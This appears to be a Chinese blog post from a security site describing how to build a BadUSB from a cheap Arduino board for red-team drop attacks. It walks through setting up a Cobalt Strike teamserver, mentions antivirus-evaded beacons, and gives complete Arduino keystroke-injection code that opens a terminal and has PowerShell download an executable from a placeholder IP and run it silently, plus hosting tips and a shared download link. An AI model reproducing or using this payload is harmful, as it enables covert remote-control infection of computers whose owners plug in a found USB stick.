0x00基础原理介绍
简介
其实早在很久以前就已经存在badusb这个东西了,badusb在早些时候会经常用于红队的授权攻击中,当年甲方工作人员安全意识较低,加上好奇心驱使,会将捡到的u盘插进电脑里看看里面的文件来判断到底是谁不小心掉的,所以也会有红队故意将u盘丢弃在甲方单位。Badusb在插入电脑后会主动运行写在代码里面的内容,这次这个的实现其实还比较简单,只需要往usb中写入代码就可以将cs的木马下载至本地然后运行了。
原理
HID攻击
HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)攻击的一种。攻击者通过将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。Badusb也属于HID攻击的一种,在badusb之前还有两种HID攻击分别是teensy和USB RUBBER DUCKY(usb橡皮鸭)。
Teensy
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。
Arduino
Arduino是一款便捷灵活、方便上手的开源电子原型平台。包含硬件(各种型号的Arduino板)和软件(ArduinoIDE)。由一个欧洲开发团队于2005年冬季开发。其成员包括Massimo Banzi、David Cuartielles、Tom Igoe、Gianluca Martino、David Mellis和Nicholas Zambetti等。
它构建于开放原始码simple I/O介面版,并且具有使用类似Java、C语言的Processing/Wiring开发环境。主要包含两个的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了。
攻击流程
BadUsb插入后,会模拟键盘对电脑进行操作,通过这些操作打开电脑的终端,并执行保存在usb中的命令,这条命令将从指定网址下载已经生成并且已经做好免杀处理的木马在后台静默运行。当cs木马一旦运行后,cs将会收到主机上线的信息,有空应该会将写个插件将上线的提醒通过信息的方式发送至手机上。
0x01
工具
首先需要一个badusb,主要是其他太贵了,在淘宝买一个比较大众的很便宜,大概25-30块一个。
这个时候就还需要一个放置在云上的服务器了,当然还是因为穷我选择了阿里云的学生机服务器,只要9.5一个月。
因为菜的缘故,cs用的免杀刚好是前几天遇到的一个工具,不过说真的免杀效果还可以,至少windows defender和火绒是没报毒给我杀咯。
0x02
云服务器
因为云服务器不用快递,所以可以先搭建一个云服务器,但是我比较菜,服务器重置系统至少重置了5次,属实菜的抠脚。
首先装完一个系统就得先更新一下。java得装哇!~
Sudo root su进入root权限
Apt-get update
Apt-get upgrade
Cs服务器搭建
然后就可以将cs移动到云服务器上了,我用的ubuntu,主要是我搞了半天没把cs服务器搭成功在windows上。
cs服务端一定得先给它一个权限才能运行
chmod 777 ./teamserver
然后就可以开启服务了
./teamserver ip password
因为teamserver的默认端口是50050,所以在阿里云的控制端上还需要将防火墙中的50050端口打开。千万记得一定得打开,之后所有要使用的端口都要打开,不然连都连不上。淦!!!!
Badusb
经过几天的快递,badusb终于到了,迫不及待的上网上找了一个Arduino程序就进行变成了,为了方便学习的小伙伴,我决定附上我的百度云这样就不用找了。
链接:https://pan.baidu.com/s/1DqDIxS-KfbZDXRB5fBx_cQ
提取码:h72t
运行后是这个样子
setup():Arduino控制器通电或者复位后,就会开始执行Arduino的初始化配置(IO口 串口等);
loop():setup函数执行完毕后,Arduino会接着执行loop()函数中的程序。而loop函数是一个死循环,其中的程序会不断地重复运行。通常在loop函数中完成程序的主要功能,如驱动各种模块和采集数据等。
因为是简单badusb,所以我们只需要再setup中输入数据就可以了,让usb一被插上电脑就开始执行命令。
#include <Keyboard.h> void setup() { Keyboard.begin();//开始键盘通讯 delay(3000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法 Keyboard.release(KEY_CAPS_LOCK);// delay(500); Keyboard.println("cmd"); //Keyboard.println("CMD /q /d /f:off /v:on /k MODE con: cols=15 lines=1"); //无回显 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.println("powershell"); Keyboard.println("$clnt = new-object system.net.webclient;"); Keyboard.println("$url= 'http://xx.xx.xx.xx/beacon.exe';"); //远程服务器ps1远控地址 Keyboard.println("$file = 'c:\\users\\public\\downloads\\systemis.exe';"); //下载到目标存放文件的地址 Keyboard.println("$clnt.downloadfile($url,$file)"); //采用分段执行绕过防火墙进程防护 Keyboard.println("powershell.exe start c:\\users\\public\\downloads\\systemis.exe"); //本地权限绕过执行木马脚本 Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.println("exit"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(3000); Keyboard.println("exit"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.end();//结束键盘通讯 } void loop() { // put your main code here, to run repeatedly: }
其中有几点需要注意
1、在arduino中需要选择对应的端口及开发板。
如果这个没修改的话会提示没有kyboard头文件。我当时被这个细节卡了挺久的- -。
2、代码中的大小写是为了防止默认输入法是中文,容易输不进去。
Phpstudy搭建
因为需要从服务器中下载上线马,就需要部署一个httpd在那上面,我部署的是phpstudy小皮版本,这玩意后台管理界面还有一个防火墙,就因为这防火墙没开放对应的端口,搞的我的cs客户端一直连不上,头大~~~~
还有一点就是在服务器上需要放2个上线马,一个是大写的一个是小写的,因为你没法保证你插的那台电脑到底是个大写还是小写。
菜鸡第一次写文章,各位不要说我菜,你说了我也不听!
来源:freebuf.com 2020-09-20 22:57:08 by: linluhaijing
请登录后发表评论
注册